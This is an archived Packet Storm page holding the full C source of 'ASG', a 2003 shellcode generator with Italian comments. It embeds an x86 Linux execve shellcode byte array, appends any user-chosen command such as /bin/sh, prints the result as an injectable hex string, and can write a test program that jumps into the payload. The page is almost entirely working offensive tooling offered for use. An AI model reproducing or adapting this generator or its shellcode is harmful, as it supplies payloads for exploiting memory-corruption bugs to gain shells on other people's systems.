what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

asg.c

asg.c
Posted Aug 10, 2003
Authored by R[]l4nD

Advanced Shellcode Generator 1.1-1. - Very compact and simple to use. All notation written in Italian.

tags | shellcode
SHA-256 | d4c742228d707e23668817a999341be91f460d02ae77919fd026d785294d6c77

asg.c

Change Mirror Download
/*
ASG - Advanced SchellCode Generator 1.1-1
CODED by R[]l4nD - xrol4nd@hotmail.com

REL: 8.8.2003

ASG รจ un generatore di ShellCode personalizzati
molto semplice da utilizzare;

Compilazione: gcc -o asg asg.c

Utilizzo: ./asg [comando][file di prova(opzionale)]

[comando]: comando da far eseguire allo shellcode (/bin/sh per una shell)
[file di prova(opzionale)]: crea un sorgente c che permette di provare
lo shellcode generato. Attenzione! Leggi bene
le indicazioni riportate nell'intestazione del file.

ES: ./asg /bin/sh prova.c

PER QUALSIASI COMMENTO, SUGGERIMENTO O SEGNALAZIONE BUG
CONTATTAMI PURE ALL'INDIRIZZO: xrol4nd@hotmail.com

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


#define VERSION 1.1-1
#define CODER R[]l4nD



char cmd[1024];
const char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"
"\xe8\xdc\xff\xff\xff";

//Codice C corrispondente
/*
void main(){
char *name[2];
name[0] = "comando";
name[1] = 0x0;
execve(name[0],name,0x0);
}
*/

void uso(void);
void printShell(char str[1024]);
void progC(void);
void saveFile(char buf[1024], char file[1024]);


main(int argc, char *argv[]){

char comando[1024], file[1024], buf[1024];
int n;

if ((argc<2) || (argc>3)){
uso();
exit(0);
}

strncpy(comando,argv[1],sizeof(comando));

if (argc==3)
strncpy(file,argv[2],sizeof(file));

strncpy(buf,shellcode,sizeof(buf));
strncat(buf,comando,sizeof(buf));
strncpy(cmd,comando,sizeof(cmd));

printf("\n\tASG - Advanced SchellCode Generator 1.1-1\n"
"\tCODED by R[]l4nD - xrol4nd@hotmail.com\n"
"\tREL: 8.8.2003\n\n\n");

printf("- Generazione ShellCode in corso...\n");

progC();

printf("\n- Comando da integrare: %s\n", comando);
printf("\n- Dimensione puntatore: %d byte\n", strlen(comando));
printf("\n- Dimensione ShellCode: %d byte\n\n\n", strlen(buf));

printf(" char shellcode[]= """);

printShell(buf);


printf("\n [-]>- Generazione ShellCode completata con successo!\n\n");



if (argc==3)
saveFile(buf,file);


}


//Stampa le istruzioni d'uso
void uso(void){

printf("\n");
printf("\tASG - Advanced SchellCode Generator 1.1-1\n"
"\tCODED by R[]l4nD - xrol4nd@hotmail.com\n"
"\tREL: 8.8.2003\n\n"
"\tUSO:\t./asg [comando][file di prova(opzionale)]\n\n");

}


//Stampa lo shellcode
void printShell(char str[1024]){
int n;
printf("\"");
for (n=0;n<strlen(str);n++){
printf ("\\x%02x",str[n]& 0xff);
if ((n==11) || (n==23) || (n==35) || (n==47)) printf("\"\n \"");
}
printf("\";\n\n");
}



void progC(void){

printf("\n- Codice Shell utilizzato:\n\n");
printf(" void main(){\n");
printf(" char *var[2];\n");
printf(" var[0] = \"%s\";\n",cmd);
printf(" var[1] = 0x0;\n");
printf(" execve(var[0],var,0x0);\n");
printf(" }\n\n");

}


void saveFile(char buf[1024], char file[1024]){

FILE *fp;
int n;

if ((fp = fopen(file,"w"))==NULL){
printf("\n - [ERRORE] - Errore durante la scrittura del file.\n\n");
} else {

fprintf(fp,"/*SEMPLICE PROGRAMMA PER TESTARE LO SHELLCODE GENERATO:\n\n by R[]l4nD\n\n");
fprintf(fp,"ATTENZIONE!!!!!\n");
fprintf(fp,"SE ALL'AVVIO DEL PROGRAMMA VIENE RESTITUITO UN ERRORE DI SEGMENTAZIONE\n");
fprintf(fp,"(SEGMENTATION FAULT) SARA' NECESSARIO MODIFICARE\n");
fprintf(fp,"L'OFFSET DELLO SHELLCODE NELLA CHIAMATA ASSEMBLER:\n");
fprintf(fp,"__asm__(\"call INDIRIZZO\");\n");
fprintf(fp,"Quello corretto viene fornito da Offset Buffer: 0xXXXXX*/\n\n");

fprintf(fp,"#include <stdio.h>\n\n\n",fp);
fprintf(fp," char shellcode[]= """);

fprintf(fp,"\"");

for (n=0;n<strlen(buf);n++){
fprintf (fp,"\\x%02x",buf[n]& 0xff);
if ((n==11) || (n==23) || (n==35) || (n==47)) fprintf(fp,"\"\n \"");
}
fprintf(fp,"\";\n\n");

fprintf(fp,"main(){");
fprintf(fp,"\n\n");
fprintf(fp,"\tprintf(\"\\n\\nOffset Buffer: 0x%%x\\n\\n\",&shellcode);");
fprintf(fp,"\n\t__asm__(\"call 0x8049400\");");

fprintf(fp,"\n\n}\n");


fclose(fp);


printf(" [-]>- Creazione file di prova completata!\n\n");


}





}












Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close